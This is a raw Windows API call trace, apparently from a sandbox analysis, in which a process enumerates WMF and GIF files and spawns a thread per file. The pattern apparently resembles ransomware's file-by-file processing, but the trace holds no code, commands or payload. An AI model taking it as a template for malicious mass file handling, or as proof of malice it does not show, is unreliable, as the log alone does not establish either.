	[0192.890] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x72, dwReserved1=0x0, cFileName="BD07831_.WMF", cAlternateFileName="")) returned 1
	[0192.890] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0192.891] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4f650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10ec
	[0192.894] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0192.895] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5f00, dwReserved0=0x72, dwReserved1=0x0, cFileName="BD08758_.WMF", cAlternateFileName="")) returned 1
	[0192.895] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0192.896] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc52d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10f0
	[0193.399] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0193.399] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x60ca, dwReserved0=0x72, dwReserved1=0x0, cFileName="BD08773_.WMF", cAlternateFileName="")) returned 1
	[0193.400] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0193.400] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10f4
	[0193.403] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0193.403] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbb7c, dwReserved0=0x72, dwReserved1=0x0, cFileName="BD08808_.WMF", cAlternateFileName="")) returned 1
	[0193.403] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0193.404] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10f8
	[0193.405] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0193.406] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9d0e, dwReserved0=0x72, dwReserved1=0x0, cFileName="BD08868_.WMF", cAlternateFileName="")) returned 1
	[0193.406] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0193.407] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10fc
	[0193.408] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0193.409] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbaaa, dwReserved0=0x72, dwReserved1=0x0, cFileName="BD09031_.WMF", cAlternateFileName="")) returned 1
	[0193.409] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0193.409] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1100
	[0193.412] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0193.413] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x38cc, dwReserved0=0x72, dwReserved1=0x0, cFileName="BD09194_.WMF", cAlternateFileName="")) returned 1
	[0193.413] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0193.414] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1104
	[0193.416] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0193.416] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x504a, dwReserved0=0x72, dwReserved1=0x0, cFileName="BD09662_.WMF", cAlternateFileName="")) returned 1
	[0193.416] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0193.417] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1108
	[0193.419] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0193.420] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f1e, dwReserved0=0x72, dwReserved1=0x0, cFileName="BD09664_.WMF", cAlternateFileName="")) returned 1
	[0193.420] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0193.420] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x110c
	[0193.421] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0193.422] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c365a00, ftCreationTime.dwHighDateTime=0x1bd4f6a, ftLastAccessTime.dwLowDateTime=0x5f47ba90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c365a00, ftLastWriteTime.dwHighDateTime=0x1bd4f6a, nFileSizeHigh=0x0, nFileSizeLow=0x34cb, dwReserved0=0x72, dwReserved1=0x0, cFileName="BD10890_.GIF", cAlternateFileName="")) returned 1
	[0193.422] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0193.423] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1110
	[0193.426] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0193.427] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93701b00, ftCreationTime.dwHighDateTime=0x1bd4f69, ftLastAccessTime.dwLowDateTime=0x517da370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93701b00, ftLastWriteTime.dwHighDateTime=0x1bd4f69, nFileSizeHigh=0x0, nFileSizeLow=0x4edd, dwReserved0=0x72, dwReserved1=0x0, cFileName="BD10972_.GIF", cAlternateFileName="")) returned 1
	[0193.427] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0193.427] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1114
	[0193.429] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0193.429] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6557800, ftCreationTime.dwHighDateTime=0x1bd4d57, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6557800, ftLastWriteTime.dwHighDateTime=0x1bd4d57, nFileSizeHigh=0x0, nFileSizeLow=0x4fe6, dwReserved0=0x72, dwReserved1=0x0, cFileName="BD19563_.GIF", cAlternateFileName="")) returned 1
	[0193.429] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0193.430] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1118
	[0193.432] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0193.433] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4f48c00, ftCreationTime.dwHighDateTime=0x1bd4d56, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe4f48c00, ftLastWriteTime.dwHighDateTime=0x1bd4d56, nFileSizeHigh=0x0, nFileSizeLow=0x3d75, dwReserved0=0x72, dwReserved1=0x0, cFileName="BD19582_.GIF", cAlternateFileName="")) returned 1
	[0193.433] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0193.433] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x111c
	[0193.660] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0193.661] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c6cc00, ftCreationTime.dwHighDateTime=0x1bd4d5a, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4c6cc00, ftLastWriteTime.dwHighDateTime=0x1bd4d5a, nFileSizeHigh=0x0, nFileSizeLow=0x32b6, dwReserved0=0x72, dwReserved1=0x0, cFileName="BD19695_.WMF", cAlternateFileName="")) returned 1
	[0193.661] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0193.662] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1120
	[0193.663] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0193.664] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee332800, ftCreationTime.dwHighDateTime=0x1bd4d59, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee332800, ftLastWriteTime.dwHighDateTime=0x1bd4d59, nFileSizeHigh=0x0, nFileSizeLow=0x25ee, dwReserved0=0x72, dwReserved1=0x0, cFileName="BD19827_.WMF", cAlternateFileName="")) returned 1
	[0193.665] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0193.666] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1124
	[0193.669] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0193.669] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed01fb00, ftCreationTime.dwHighDateTime=0x1bd4d59, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xed01fb00, ftLastWriteTime.dwHighDateTime=0x1bd4d59, nFileSizeHigh=0x0, nFileSizeLow=0x2244, dwReserved0=0x72, dwReserved1=0x0, cFileName="BD19828_.WMF", cAlternateFileName="")) returned 1
	[0193.669] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0193.670] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1128
	[0193.673] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0193.674] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe58e2200, ftCreationTime.dwHighDateTime=0x1bd4d58, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe58e2200, ftLastWriteTime.dwHighDateTime=0x1bd4d58, nFileSizeHigh=0x0, nFileSizeLow=0x3896, dwReserved0=0x72, dwReserved1=0x0, cFileName="BD19986_.WMF", cAlternateFileName="")) returned 1
	[0193.674] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0193.674] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x112c
	[0193.677] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0193.677] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1fa9b00, ftCreationTime.dwHighDateTime=0x1bd4d58, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1fa9b00, ftLastWriteTime.dwHighDateTime=0x1bd4d58, nFileSizeHigh=0x0, nFileSizeLow=0x4780, dwReserved0=0x72, dwReserved1=0x0, cFileName="BD19988_.WMF", cAlternateFileName="")) returned 1
	[0193.677] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0193.678] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1130
	[0193.680] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0193.680] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf688200, ftCreationTime.dwHighDateTime=0x1bd4d58, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf688200, ftLastWriteTime.dwHighDateTime=0x1bd4d58, nFileSizeHigh=0x0, nFileSizeLow=0x2b32, dwReserved0=0x72, dwReserved1=0x0, cFileName="BD20013_.WMF", cAlternateFileName="")) returned 1
	[0193.680] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0193.681] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1134
	[0193.683] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0193.684] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b147c00, ftCreationTime.dwHighDateTime=0x1bd4b34, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8b147c00, ftLastWriteTime.dwHighDateTime=0x1bd4b34, nFileSizeHigh=0x0, nFileSizeLow=0x30e8, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00008_.WMF", cAlternateFileName="")) returned 1
	[0193.684] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0193.685] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1138
	[0193.687] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0193.688] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x851e9b00, ftCreationTime.dwHighDateTime=0x1bd4b34, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x851e9b00, ftLastWriteTime.dwHighDateTime=0x1bd4b34, nFileSizeHigh=0x0, nFileSizeLow=0x265a, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00012_.WMF", cAlternateFileName="")) returned 1
	[0193.688] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0193.689] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x113c
	[0193.691] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0193.691] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1c98800, ftCreationTime.dwHighDateTime=0x1bd4b2b, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1c98800, ftLastWriteTime.dwHighDateTime=0x1bd4b2b, nFileSizeHigh=0x0, nFileSizeLow=0x1eb6, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00045_.WMF", cAlternateFileName="")) returned 1
	[0193.691] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0193.692] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1140
	[0193.693] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0193.694] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a40fd00, ftCreationTime.dwHighDateTime=0x1bd4b27, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a40fd00, ftLastWriteTime.dwHighDateTime=0x1bd4b27, nFileSizeHigh=0x0, nFileSizeLow=0x3f4, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00098_.WMF", cAlternateFileName="")) returned 1
	[0193.694] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0193.695] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1144
	[0193.873] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0193.874] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x888a3600, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x888a3600, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x370, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00105_.WMF", cAlternateFileName="")) returned 1
	[0193.874] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0193.875] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1148
	[0193.878] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0193.878] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d0f5c00, ftCreationTime.dwHighDateTime=0x1bd4b24, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d0f5c00, ftLastWriteTime.dwHighDateTime=0x1bd4b24, nFileSizeHigh=0x0, nFileSizeLow=0x27a2, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00122_.WMF", cAlternateFileName="")) returned 1
	[0193.878] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0193.879] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x114c
	[0193.882] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0193.882] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39fc8c00, ftCreationTime.dwHighDateTime=0x1bd4b24, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x39fc8c00, ftLastWriteTime.dwHighDateTime=0x1bd4b24, nFileSizeHigh=0x0, nFileSizeLow=0x5b8, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00130_.WMF", cAlternateFileName="")) returned 1
	[0193.883] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0193.883] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1150
	[0193.885] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0193.885] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83c58200, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83c58200, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x6a0, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00148_.WMF", cAlternateFileName="")) returned 1
	[0193.885] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0193.886] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1154
